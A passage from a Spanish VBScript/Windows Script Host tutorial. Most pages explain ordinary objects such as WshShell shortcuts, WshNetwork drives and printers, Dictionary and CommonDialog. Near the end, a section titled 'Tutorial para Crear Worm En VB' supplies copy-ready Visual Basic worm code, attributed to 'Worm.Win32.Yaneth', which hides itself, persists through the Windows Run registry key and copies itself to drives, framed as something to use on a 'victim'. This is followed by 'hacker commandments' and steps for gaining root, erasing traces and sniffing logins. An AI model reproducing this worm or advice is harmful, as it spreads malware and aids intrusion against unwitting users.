Con esta tabla, solo bastaría cambiar “desktop” en nuestro ejemplo, para ver las rutas de otras de las carpetas disponibles, y nótese también que si bien, algunas carpetas parecen estar repetidas, algunos identificadores hacen referencia a las carpetas de todos los usuarios, y otras a la del usuario activo.
Obtener variables de sistema Bueno, habrán visto entonces, que a pesar de la cantidad de carpetas de las que se puede obtener la ruta, hay algunas muy interesantes que no aparecen con el specialfolders, como ser “ rchivos de programa”, la carpeta de usuario, etc. , es por eso que entonces, haremos uso de la función expandenvironmentstrings. Este función, y como se ha adelantado en el título, permite acceder a todas las variables del sistema, como ser, USERNAME, USERPROFILE, COMPUTERNAME, y todas aquellas que aparecen a través del comando SET de msdos. Variable.expandenvironmentstrings(%variablesistema%) Ejemplo: Set objshell = createobject(“wscript shell”) Msgbox objshell expandenvironmentstrings(“%Programfiles%”)
By KarlosVid(ÊÇ)
www.idat.byethost14.com
149
Como es de esperarse, en este caso, nos aparecerá un mensaje con la ruta de la carpeta de “ Archivos de programa”.
Crear accesos directos Bueno, luego de haber visto ya, varias funciones, solo queda por ver, la de createshortcut, la cual permite crear accesos directos a cualquier aplicación/archivo, quizás parezca una función un poco “insulsa”, pero quizás alguien quiera por ejemplo, agregar un acceso directo en la carpeta de Inicio, y será aquí cuando recurramos a esta función. En esta función es necesario definir varios valores, así que en lugar de explicarla, pasaré directamente a un Ejemplo: Set objshell = createobject(“wscript shell”) Set ellink = objshell createshortcut(“C \Acceso directo lnk”) ‘creamos el link Ellink targetpath = ”C \windows\notepad exe” ‘completamos los valores Ellink.windowstyle = 1 Ellink hotkey = “CTRL+SHIFT+N” Ellink iconlocation = “C \windows\notepad exe,0” Ellink description = “ cceso directo a notepad” Ellink workingdirectory =”C \” Ellink.save ‘guardamos el link Creo que este ejemplo alcanza para entender sin problemas esta función, no hacemos más que crear el link, completamos todos los datos que lleva el link, y salvamos. Los campos a completar son los que aparecen en cualquier link (imagen adjunta), teniendo en cuenta demás que no todos son indispensables. Falta agregar, que pueden crearse links a páginas web’s del siguiente modo. Ejemplo: Set objshell = createobject(“wscript shell”) Set weburl = objshell createshortcut(“C \google url”) Weburl.targetpath = http://www.google.com Weburl.save
Simplemente hemos cambiado la extensión del link a url, en lugar de lnk como tenía antes, y la ruta del link pasa a ser la dirección de la web a la que queremos acceder.
WshNetwork Como lo dice su nombre, este objeto nos permitirá realizar determinadas acciones en red: • •
Listar unidades de red Mappear o remover unidades de red
By KarlosVid(ÊÇ)
www.idat.byethost14.com
150
• • •
Listar impresoras de red Conectar y desconectar a impresoras en red Obtener datos básicos de red
Como vemos en este pequeño resumen, las funciones de este objeto son todas las que hacen referencia a una red, y se declara por medio de “wscript network” Pasemos entonces a ver cada una de sus funciones.
Listar unidades de red Como vimos anteriormente, sería posible listar las unidades de red, por medio del objeto FSO y su función drives, pero el caso es que obtendríamos solamente la letra de la unidad, no así con el objeto network, con el cual además, podemos conseguir la ruta de red de la unidad. Set objnet = createobject(“wscript.network”) Set variable = objnet.enumnetworkdrives Ejemplo: Set objnet = createobject(“wscript network”) Set netdrive = objnet.enumnetworkdrives ‘Colección de unidades de red For each n in netdrive Msgbox n next Este ejemplo, no será nada extraño, ya que se utiliza el mismo método que al listar los discos con FSO, es decir, declaramos el objeto, y luego a través de este, obtenemos una colección de unidades, en este caso, unidades de red, para luego por medio de un for, recorrer cada uno de los elementos de la colección. En el caso del objeto network, la colección resulta un tanto especial, y esto es porque esta colección, esta formada por pares de elementos. Con pares de elementos quiero decir que; si listamos todos los elementos, tendremos primero una unidad (letra), y luego la ruta de red, segundo, otra unidad, y luego, su respectiva ruta de red, etc. Por lo que dicho de otra forma, todos los índices pares del array, son letras, y todos los impares, son rutas de red. Por lo que, analizando nuestro ejemplo, el msgbox mostraría algo como; X:, \\servidor\usuarios, Y:, \\pcremota\compartido, Z:, \\varios\musica, cada uno de estos, en una ventana de mensaje diferente. Veamos entonces otro ejemplo, uno donde se vea, como podemos mostrar unas, u otras, es decir, o bien letras, o bien rutas. Ejemplo: Set objnet = createobject(“wscript network”) Set netdrive = objnet.enumnetworkdrives For i = 0 to netdrive.count -1 step 2 Msgbox netdrive(i) Next ‘en este ejemplo se mostrarán solo las letras Para empezar, las dos primeras líneas no muestran nada raro, simplemente se declara el objeto, y se obtiene la colección, sí que pasemos al for que es donde se ve algo distinto. Como vemos, iniciamos la variable i en 0 (cero), esto es porque como sabemos, los array comienzan en este valor y además, el primero de ellos debe de ser una letra. Luego, fijamos el límite por medio de la función count, la cual nos muestra cuantos elementos contiene la colección (aplicable a todas las colecciones), y luego a este valor, le restamos 1, ya que también como hemos dicho antes, los array comienzan por cero, por lo que si la colección contiene 6 elementos, el array irá desde 0 hasta 5.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
151
Y por último, recorremos el for de dos en dos (lo cual indicamos con step 2) y mostramos un mensaje con la letra. Al igual que antes, sugiero mirar detenidamente el script para entenderlo mejor, ya que muchas veces, el explicarlo resulta bastante largo para tan pocas líneas de texto.
Mappear unidades de red Variable.mapnetworkdrive(letra, rutaremota, actualizarperfil, usuario,contraseña) Ejemplo: Set objnet = createobject(“wscript network”) Objnet mapnetworkdrive “G ”, \\pcremota\compartido Los dos primeros parámetros son, la letra a la que mappearemos la unidad remota (con el dos puntos incluído), y la ruta remota. Los otros tres parámetros son; true o false para seleccionar si queremos guardar el mappeado solamente para nuestro usuario, y los otros dos, usuario y contraseña en caso de que accedamos a la unidad con los datos un usuario distinto al que ha iniciado sesión (con el que estamos trabajando). En este ejemplo, solamente he utilizado los dos primeros parámetros ya que los otros tres son opcionales.
Remover unidades de red Variable.removenetworkdrive(letra, forzar, actualizarperfil) Ejemplo: Set objnet = createobject(“wscript network”) Objnet removenetworkdrive “G ”, true Este no requiere de mucha explicación, simplemente removemos una unidad de red, para eso, seleccionamos la unidad, true o false para forzar o no, y al igual que antes, si se actualiza o no el perfil de usuario.
Listar impresoras en red Este método es prácticamente igual al de listar unidades de red, solamente que se cambia la función. Set variable = objnet.enumprinterconnections Ejemplo: Set objnet = createobject(“wscript network”) Set netprinter = objnet.enumprinterconnections ‘Colección de impresoras For each n in netprinter Msgbox n next Al igual que para el caso de las unidades de red, este array también viene en pares, donde el primer valor es la localización remota (IP), y la segunda, es el nombre con el que tenemos configurada nuestra impresora (al contrario de cómo pasaba con las unidades de red, donde primero esta la unidad local, y luego la ruta remota). Nota: Complementos como drivers que agregan una impresora para imprimir en pdf, también son mostrados como remotos. Las direcciones IP aparecen como IP_x_x_x_x ej: IP_192_168_15_3
By KarlosVid(ÊÇ)
www.idat.byethost14.com
152
Conectar a impresora en red También es muy sencillo y similar a lo visto anteriormente Variable.addprinterconnection(nombrelocal, rutaremota, actualizarperfil, usuario,contraseña) Ejemplo: Set objnet = createobject(“wscript network”) Objnet.addprinterconnection “LPT1”, \\servidor\impresoracompartida Al igual que antes, simplemente pasamos como parámetros los datos “locales” y “remotos”, y solamente los dos primeros parámetros, ya que los otros son opcionales.
Desconectar impresora en red Para desconectar una impresora en red, haremos uso de la función removeprinterconnection Variable.removeprinterconnection(nombre, forzar, actualizarperfil) Ejemplo: Set objnet = createobject(“wscript network”) Objnet.removeprinterconnection \\servidor\impresoracompartida, True, True Como nombre de impresora, se puede pasar direcciones de red, como lo he hecho en este ejemplo, o bien rutas de impresoras locales, como lo sería LPT1
Información de red A través de este objecto podemos acceder a algunos datos de red: •
Usuario; Username
•
Dominio; Domain
•
Nombre de la PC; Computername
Si han leído la parte anterior del tuto, sabrán que se puede acceder a las variables del sistema (comando SET de msdos) por medio del objeto wshshell, por lo que también podríamos acceder a estos datos, por lo que este método se presenta como una alternativa más dentro del wsh. variable.dato Ejemplo: Set objnet = createobject(“wscript network”) Msgbox objnet.username Msgbox objnet.userdomain Msgbox objnet.computername En definitiva y como se ve en el ejemplo, solo hay que utilizar el objeto con su respectiva propiedad. Nota: Si no se esta en un dominio, el userdomain y computername tendrán el mismo valor.
Dictionary En esta oportunidad, veremos un sencillo objeto de los varios que tiene el wsh, este es el Dictionary A través de este podremos crear un array con sinónimos de palabras, es decir, que al pasarle una palabra “X” como
By KarlosVid(ÊÇ)
www.idat.byethost14.com
153
parámetro, nos devolverá la palabra “Y” asociada. Lamentablemente solo puede tratarse en un sentido la asociación de estas palabras, es decir que en base al anterior ejemplo, si pasamos en lugar de “X”, “Y”, no obtendremos como valor “X”, no si no se declara aparte esta asociación. La estructura de este objeto es realmente muy sencillo he incluso escueto, ya que no cuenta con muchos métodos/propiedades. Para declarar el objeto lo haremos a través de Scripting.Dictionary Las acciones básicas sobre este objeto son; • • • • •
Agregar elementos Listar elementos Listar elementos asociados Determinar si un elemento ya existe Borrar elementos (uno/todos)
Como se ve, no es mucho el contenido de este objeto, pero igualmente puede ser de utilidad, sobre todo cuando queremos tener un código más legible sin necesidad de hacer uso de bucles select case o if.
Agregar elementos Para agregar elementos al diccionario, solamente hay que hace una asignación de cada uno de ellos, por medio de la función add: Set objdic = createobject(“scripting.dictionary”) objdic.add variable, vasociada Ejemplo: Set objdic = createobject(“scripting.dictionary”) objdic.add “1ero”, “Primero” objdic.add “2do”, “Segundo” objdic.add “3ero”, “Tercero” En el ejemplo se han declarado 3 elementos (1ero, 2do, 3ero), cada uno con un segundo elemento asociado. A continuación, como accesar a estos elementos.
Listar elementos asociados Para listar elementos basta con invocar el diccionario, como si de cualquier otro array o colección se tratase, y pasarle como “índice” el elmento que estamos buscando: Set objdic = createobject(“scripting.dictionary”) Objdic(variable) Ejemplo: Set objdic = createobject(“scripting.dictionary”) objdic.add “1ero”, “Primero” objdic.add “2do”, “Segundo” objdic.add “3ero”, “Tercero” ‘hasta aquí declaramos elementos en el diccionario Msgbox objdic(“2do”) En este ejemplo “solicitariamos” el valor asociado al elemento “2do”, en este caso “Segundo”.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
154
Tener en cuenta además, que en caso de intentar listar un elemento que no se encuentra en el diccionario, no recibiremos nigún mensaje de error, sino que la cadena devuelta será una vacía.
Listar elementos Otra opción al momento de utilizar los elementos del diccionario, es tratar ambos valores (elemento y valor asociado), como si se tratasen de dos arrays independientes, es decir, elementos por un lado, y valores por otro. Para acceder al listado de elementos haremos uso de la función keys: Set objdic = createobject(“scripting.dictionary”) Elementos = objdic.keys Ejemplo: Set objdic = createobject(“scripting.dictionary”) objdic.add “1ero”, “Primero” objdic.add “2do”, “Segundo” objdic.add “3ero”, “Tercero” Elementos = objdic.keys For each E in Elementos Msgbox E Next En este ejemplo los resultados serían, “1ero”, “2do” y “3ero”, es decir, lo que correspondería al primero de los dos array en el diccionario.
Listar valores En este caso para acceder al array de valores, se haría del mismo modo que antes, solo que en lugar de keys utilizaremos items: Set objdic = createobject(“scripting.dictionary”) Valores = objdic.items Ejemplo: Set objdic = createobject(“scripting.dictionary”) objdic.add “1ero”, “Primero” objdic.add “2do”, “Segundo” objdic.add “3ero”, “Tercero” Valores = objdic.items For each E in Valores Msgbox E Next Con lo cual obtendríamos los valores, “Primero”, “Segundo” y “Tercero”
Determinar si un elemento ya existe El objeto Dictionary tiene una particularidad frente a otros tipos de colecciones (además de que guarda los elementos por pares), y es que si intentamos agregar un elemento que ya ha sido declarado, obtendremos un bonito mensaje de error, informando de que “la clave ya está asociada con un elemento de esta colección”. Es por eso que en caso de querer asignar un valor a un elemento, deberíamos de verificar que dicho elemento no se encuentre ya en el diccionario.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
155
Para verificar la existencia o no de un elemento en el diccionario haremos uso de la función exists: Set objdic = createobject(“scripting.dictionary”) Variable = objdic.exists(elemento) Ejemplo: Set objdic = createobject(“scripting.dictionary”) objdic.add “1ero”, “Primero” Msgbox objdic.exists(“1ero”) En este ejemplo, dado que el diccionario contiene el elemento, se nos mostraría un mensaje con el texto de “Verdadero”, para el caso de que no exista, el mensaje será “Falso” obviamente. Tener en cuenta además que esta función devuelve valores booleanos, TRUE o FALSE, por lo que en caso de querer hacer uso de la función IF, debemos de compararlas contra “Verdadero” y “Falso”, o TRUE y F LSE (los primeros van tal cual con comillas, los segundos da igual).
Borrar elementos Luego de haber visto como determinar si los elementos ya están en el “listado”, veremos como eliminar estos elementos. Esto nos será particularmente útil, en caso de querer asignar un nuevo valor a los elementos ya asociados, ya que como vimos antes, no es posible sobreescribirlos. La función: Set objdic = createobject(“scripting.dictionary”) objdic.remove(elemento) Ejemplo: Set objdic = createobject(“scripting.dictionary”) objdic.add “1ero”, “Primero” objdic.add “2do”, “Segundo” objdic.add “3ero”, “Tercero” objdic.remove “2do” ‘el parentesis es opcional Como se ve, simplemente hemos añadido algunos elementos, para luego borrar el segundo de la lista (notese como no importa cual sea el que eliminemos)
Borrar Todos los elementos Por último, en el caso de querer eliminar Todos los elementos del diccionario, simplemente se deberá de hacer uso de removeall. Set objdic = createobject(“scripting.dictionary”) objdic.removeall Lo cual no merece ningún tipo de ejemplo ya que queda a la vista como sería el uso de este método. Así termina la cuarta parte de este tutorial, y una vez más, con un objeto sencillo y de poca difusión, pero nunca se sabe cuando se pueda llegar a necesitar.
CommonDialog El objeto commondialog sirve para mostrar un mensaje de abrir/guardar como. En mi caso particularmente no hago uso de este objeto, pero puede resultar últil para quienes quieran agregar un poco más de interactividad a sus scripts, y de cierto modo, hacer más sencillo el uso de este para el “usuario final”. Para el uso de esta ventana, solo será necesario pasarle ciertos parámetros para hacer uso de la misma, inicializandolo por medio de seraccounts.commondialog.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
156
Nota: Este objeto solo se encuentra presente en Win XP, no antes, y en Vista se he eliminadoexiste otro objeto que se inicia con mscomdlg.commondialog, y que cumple una función similar pero con más opciones, pero este último, solamente esta disponible para las pc con VB Los parámetros que se deben de pasar a este objeto son: • • • •
Filtros: Filter Indice de filtros: Filterindex Directorio inicial: InitialDir Opciones: Flags
Luego de seleccionados los parámetros de la ventana, podremos mostrala por medio de la función Showopen y obtendremos la ruta por medio de Filename. El primero de los parámetros, Filter, hace referencia a los tipos de archivos que van a aparecer en el cuadro. Filterindex determina cual de los tipos de archivos seleccionados (Filter) son los que van a aprecer por defecto. Initialdir es el directorio raíz que va a aparecer por defecto (de cualquier manera se podrá subir por el directorio) Y Flags son algunas opciones extras que se pueden seleccionar a la hora de mostrar la ventana (en este caso solo mostraré una de ellas). Dado que este objeto es de fácil utilización, pasaré directamente a un ejemplo, donde explicaré un poco mejor cada uno de estos parámetros. Ejemplo: Set objdialog = createobject("useraccounts.commondialog") objdialog.filter = "VBScript|*.vbs|Javascript|*.js" objdialog.filterindex = 1 objdialog.initialdir = "C:\Documents and Settings\Novlucker" odresp = objdialog.showopen If odresp = -1 then Msgbox objdialog.filename End If El resultado:
By KarlosVid(ÊÇ)
www.idat.byethost14.com
157
Pasemos ahora a repasar cada una de las opciones que hemos pasado. objdialog filter = “VBScript|* vbs|Javascript|* js” Como había comentado, a través de los filtros, podremos determinar, cuales serán los tipos de archivos que aparecerán al visualizar los diferentes archivos de una carpeta. En el ejemplo, he puesto archivos vbscript, y
javascripts. El “tipo de archivo” en palabra (VBScript y Javascript) no hace ningún tipo de diferencia, sino que se trata simplemente de lo que servirá como referencia para el usuario, es decir, podríamos poner cualquier cosa y el resultado final sería el mismo, como ejemplo: objdialog filter = “Archivos vbs|*.vbs|Archivos javascript|* js” Lo que si hace la diferencia, es el asterísco seguido de la extensión del archivo que se mostrará, para el ejemplo, *.vbs, y *.js. Para el caso de querer establecer “todos los archivos”, se utilizará algo del estilo “ ll Files|* *” Notese además que cada uno de estos valores va separado del siguiente, por medio de un simbolo “pipe” (generalmente utilizado en distintos lenguajes para la canalización de órdenes). Como habíamos dichio antes Filterindex determina el tipo de archivo por defecto que será mostrado, en este caso he elegido el index 1, que en el Filter serían los archivos vbs, de haberse elegido 2, lo que se mostraría primero sería javascript y no vbs. objdialog initialdir = “C \Documents and Settings\Novlucker” Como había dicho antes, initialdir establece el directorio en el cual se “abrirá” nuestra ventana, en este caso he establecido el directorio “C:\Documents and Settings\Novlucker”, y como se puede apreciar en la imagen, esto es lo que se ha mostrado en la ventana, claro está que igualmente se podrá “subir” partiendo de este. Con esto básicamente establecemos las opciones básicas de nuestra ventana, para luego mostrarla en la línea siguiente. odresp = objdialog.showopen Como se puede ver, he asignado la “respuesta” de este elemento a la variable odresp, lo cual es totalmente opcional (podría hacerse sin el “odresp =”), pero nos permitirá determinar de manera más exacta, que es lo que pasa con nuestra ventana, ya que esta variable podrá tener dos valores según el usuario elija algún archivo y de a ACEPTAR (valor -1), o bien no seleccione ninguno y presione CANCELAR (valor 0). Es por eso que en nuestro ejemplo utilizamos un condicional IF para determinar cual ha sido la acción que se ha tomado respecto a nuestra ventana, en caso de haberse elegido un archivo, mostramos su ruta (filename). Luego de accedido a la ruta del archivo en cuestión, es decisión nuestra lo que se haga con esta ruta, ya sea copiar, mover, abrir, etc, siempre dentro de las posibilidades de vbs claro está.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
158
Cual es la limitación de esta ventana así como está? Que no es posible la selección de múltiples archivos, sino que siempre se nos permitirá elegir uno y solo uno de todos los que aparecen. Para solucionar esto utilizaremos el parámetro flags, el cual entre otras opciones controla la posibilidad de mostrar un
cuadro como el que necesitamos (se tratará solamente esta, aunque existen muchas otras). Para esto, se pasará &H0200 como valor a este parámetro (siguiendo con el ejemplo anterior): Ejemplo: Set objdialog = createobject("useraccounts.commondialog") objdialog.filter = "VBScript|*.vbs|Javascript|*.js" objdialog.filterindex = 1 objdialog.flags = &H0200 objdialog.initialdir = "C:\Documents and Settings\Novlucker" odresp = objdialog.showopen El resultado: Como se puede ver, el aspecto de nuestra ventana ha cambiado, es un poco más “rústica”, pero igualmente cumple la misma función. La particularidad de los datos que nos devuelve esta ventana con respecto a la anterior, es que dado que se seleccionan múltiples archivos, esta nos devolverá todos los valores en una misma cadena, partiendo del ejemplo anterior, en el caso de haber elegido los archivos “Script1 vbs” y “Script2 vbs”, el resultado sería el siguiente: C:\DOCUME~1\NOVLUC~1\Script1.vbs Script2.vbs En la imagen se ve claramente como las rutas de ambos archivos que hemos seleccionado aparecen en una misma cadena, además de que dichas rutas se muestran en formato “corto”. Pero si miramos detenidamente, podemos ver que cada una de estas rutas, esta separada por un espacio, donde la primera parte contiene la ruta a la carpeta contenedora, y el resto son los archivos en cuestión. Habiendo visto esto entonces, podremos escribir un método para crear facilmente las rutas a estos archivos, para lo cual haremos uso de la función split. Split es una función de vbs que no hace más que “cortar” una determinada cadena, tomando como separador el/los caractéres que le indiquemos, y guarda en un array cada una de las partes de dicha cadena. Ejemplo: CadenaTexto = "1;2;3;4;5" CTtoAray = split(CadenaTexto,";") 'Cortamos la cadena con ; como separador For each C in CTtoAray Msgbox C Next Como se puede ver en el ejemplo, con una cadena definida, hemos cortado esta cadena utilizando split, y hemos guardado cada uno de los valores dentro de un array para luego acceder del modo tradicional. Veamos ahora entonces como podemos utilizar esta función para obtener las direcciones de los múltiples archivos seleccionados mediante nuestra ventana. Como habíamos dicho, los archivos son mostrados en una única cadena pero separados por espacios, por lo que para poder obtener las rutas simplemente deberemos utilizar la anterior función, pero utilizando como separador, no una cadena, sino un espacio.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
159
Una vez más siguendo con el ejemplo anterior, el proceso sería más o menos así: Set objdialog = createobject("useraccounts.commondialog") objdialog.filter = "VBScript|*.vbs|Javascript|*.js" objdialog.filterindex = 1 objdialog.flags = &H0200 objdialog.initialdir = "C:\Documents and Settings\Novlucker" odresp = objdialog.showopen Rutas = objdialog.filename Arutas = split(Rutas, " ") 'cortamos la cadena segun espacios For i = 1 to ubound(Arutas) 'ubound muestra el índice más grande de un array Msgbox Arutas(0) & Arutas(i) 'la ruta es la suma del indice cero (carpeta contenedora) y el archivo Next En este caso para generar las rutas debemos de concatenar la ruta que se encuenta en en indice cero (ya que como habíamos dicho, la primera ruta que aparece en la cadena de texto es la dirección de la carpeta contenedora) y el nombre del archivo en cuestión, ya que de no hacer así lo único que obtendríamos sería nombres de archivos sueltos, y nos sus rutas. Durante el proceso he utilizado la función Ubound (upper), que junto a la función Lbound (Lower), no hacen más que mostrar los números de índice máximo y mínimo de un array respectivamente El resultado:
En definitiva, justamente lo que estabamos buscando. Y bueno así termina una nueva parte de este tutorial, en este caso con la explicación de un objeto que como he dicho, particularmente no lo utilizo, pero seguro a más de uno le parecerá interesante para hacer más didácticos sus scripts.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
160
Tutorial para Crear Worm En VB Lo primero es generar el ejecutable...con esta sencilla declaracion puedes elegir la ruta pero cuidadito con meter muxa ruta aver si al final no se encuentra en el PC de la victima.... 'apartir de aki ya empezar a copiar codigo Sub Form_Load() On Error Resume Next Open “C:\ Worm.Win32.TutorialVB.TXT” For Output As #1 'ruta que seguira el Worm puedes darle otra ruta.. ten ojo en esto Print #1, “Este TXT lo genero” Print #1, “el” Print #1, “Worm.Win32.TutorialVB” Close #1 End Sub '---------------------------------------------------------------------------------Sub Form_Load() Do ' Bucle que verifica a cada momento si el tienmpo actual es el que se declara para volver a copiarse If Minute(Now) = 3 Then FileCopy App.EXEName & ".EXE", ".\HijodelGusano.EXE" End Sub '---------------------------------------------------------------------------------'como ves esto es por ejemplo el minuto es 3 pues el worm se vuelve a copiar en el destino introducido 'Seguimos añadiendo informacion sobre los segundos ahora... no hace falta que siga explicando.... no? '---------------------------------------------------------------------------------Sub Form_Load() On Error Resume Next Do If Minute(Now)= 5 And Second(Now) = 5 Then FileCopy App.EXEName & ".EXE", ".\K.EXE" Loop End Sub '---------------------------------------------------------------------------------'esto otro ara que el Worm se copie en el directorio que se declara, cada vez que el minuto y el segundo coincida con 'los del sistema... todo esto se añade para que este se auntocopie el mayor numero de veces posible asta ay te digo 'tu ya az lo que veas (la declaracion second(now) y minute (now) las utiliza para conocer la hora y segundos actuales 'de el systema de tu victima lo que hace aqui es llamarla a partir de declaraciones... "ESTO NO LO COPIES EN el FORM e " weno explico un poco como hacer invisible el FORM a la derecha del programa ay como una lista de las propiedades de el form, bueno pues buscamos la propiedad "Visible" y cambiamos el "true" por el "false" y ya no dara el cantazo... ' EMPIEZA A COPIAR!! Aki dejo el codigo de este worm Worm.Win32.Yaneth.7168. es bueno añadelo al form '------------------------------------------------------------------------Private Sub Form_Load() A = App.EXEName E = ".exe" C = "C:\Yaneth.exe" On Error Resume Next FileCopy A & E, C 'seguimiento de las 4 lineas anteriores hace que cumplan su funcion "copiarese Set Yanet = CreateObject("WScript.Shell" ) Yanet.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Yaneth", C Open "C:\Yaneth.txt" For Output As #1 Print #1, "\^fibsoZ'e~'Lrftfif`rn(@BC>FD" Print #1, "\¸^fibso'chicb'btsft8Z" Print #1, "\¦Btsf'dhi'kkrqnf&+'¦btsf'dhi'kkrqnf&Z" Print #1, "\H'sfk'qb}+'sfk'qb}'))))'dhi'bk'vrnjndhZ" Print #1, "\Bth'ih'bt'mrtshZ" Print #1, "\Dhih}dh'f'fk`rnbi'vrb'kf'vrnbub'jft)))Z" Close #1 Do M = Minute(Now) S = Second(Now) Y = "A:\Yaneth.exe" If M = 0 And S = 0 Then FileCopy A & E, Y If M = 5 And S = 0 Then FileCopy A & E, Y If M = 10 And S = 0 Then FileCopy A & E, Y If M = 15 And S = 0 Then FileCopy A & E, Y
By KarlosVid(ÊÇ)
www.idat.byethost14.com
161
If M = 20 And S = 0 Then FileCopy A & E, Y If M = 25 And S = 0 Then FileCopy A & E, Y If M = 30 And S = 0 Then FileCopy A & E, Y If M = 35 And S = 0 Then FileCopy A & E, Y If M = 40 And S = 0 Then FileCopy A & E, Y If M = 45 And S = 0 Then FileCopy A & E, Y If M = 50 And S = 0 Then FileCopy A & E, Y If M = 55 And S = 0 Then FileCopy A & E, Y Loop End Sub 'crea una shell en el registro, se copia en C, A, E '-- lo que hace es colgar la PC es sencillo pero esta bien para .... a tu victima... se autoejecuta al iniciar l PC!.. -----------------------------------------------------------------------------------------------------------------------------------------------------------LOS DIEZ MANDAMIENTOS DEL HACKER I. Nunca destroces nada intencionalmente en la Computadora que estés crackeando. II. Modifica solo los archivos que hagan falta para evitar tu detección y asegurar tu acceso futuro al sistema. III. Nunca dejes tu dirección real, tu nombre o tu teléfono en ningún sistema. IV. Ten cuidado a quien le pasas información. A ser posible no pases nada a nadie que no conozcas su voz, número de teléfono y nombre real. V. Nunca dejes tus datos reales en un BBS, si no conoces al sysop, déjale un mensaje con una lista de gente que pueda responder de ti. VI. Nunca hackees en computadoras del gobierno. El gobierno puede permitirse gastar fondos en buscarte mientras que las universidades y las empresas particulares no. VII. No uses BlueBox a menos que no tengas un servicio local o un 0610 al que conectarte. Si se abusa de la bluebox, puedes ser cazado. VIII. No dejes en ningún BBS mucha información del sistema que estas crackeando. Di sencillamente "estoy trabajando en un UNIX o en un COSMOS...." pero no digas a quien pertenece ni el teléfono. IX. No te preocupes en preguntar, nadie te contestara, piensa que por responderte a una pregunta, pueden cazarte a ti, al que te contesta o a ambos. X. Punto final. Puedes pasearte todo lo que quieras por la WEB, y mil cosas mas, pero hasta que no estés realmente hackeando, no sabrás lo que es. PASOS PARA HACKEAR 1.Introducirse en el sistema que tengamos como objetivo. 2.Una vez conseguido el acceso, obtener privilegios de root (superusuario). 3.Borrar las huellas. 4.Poner un sniffer para conseguir logins de otras personas. QUE PASARÁ MAS ADELANTE..... La incorporación de las denominadas "redes inteligentes" podría dificultar considerablemente las actividades de los Hackers. El Instituto Tecnológico de Georgia, EEUU, trabaja en un proyecto de desarrollo de redes neurológicas, que probablemente aumentarán la seguridad del tráfico digital. El nombre "red neurológica" se basa en las neuronas del cerebro humano, que aprenden de la experiencia, creando conexiones entre las distintas áreas del cerebro. Con todo, cabe precisar que no se trata de redes que estén en condiciones de pensar, sino de sistemas capaces de identificar patrones en el flujo digital y aprender de los intentos de intrusión. Hoy en día, los administradores de sistemas deben actualizar manualmente los sistemas de protección de las redes contra las embestidas de los sagaces piratas informáticos. Con la incorporación de redes inteligentes se hará más previsible y fácil la contención de los intrusos, según escribe James Cannady, experto en el tema, en un artículo en Netsys.com. Según Cannady, tales redes estarán incluso en condiciones de detectar máquinas que monitorizan ilegalmente el tráfico de la red para captar y apoderarse de información tal como números de tarjetas de crédito, contraseñas y otros datos confidenciales. La novedad es que las redes neurológicas detectarán ese tipo de máquinas sin que sus operadores se percaten.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
162
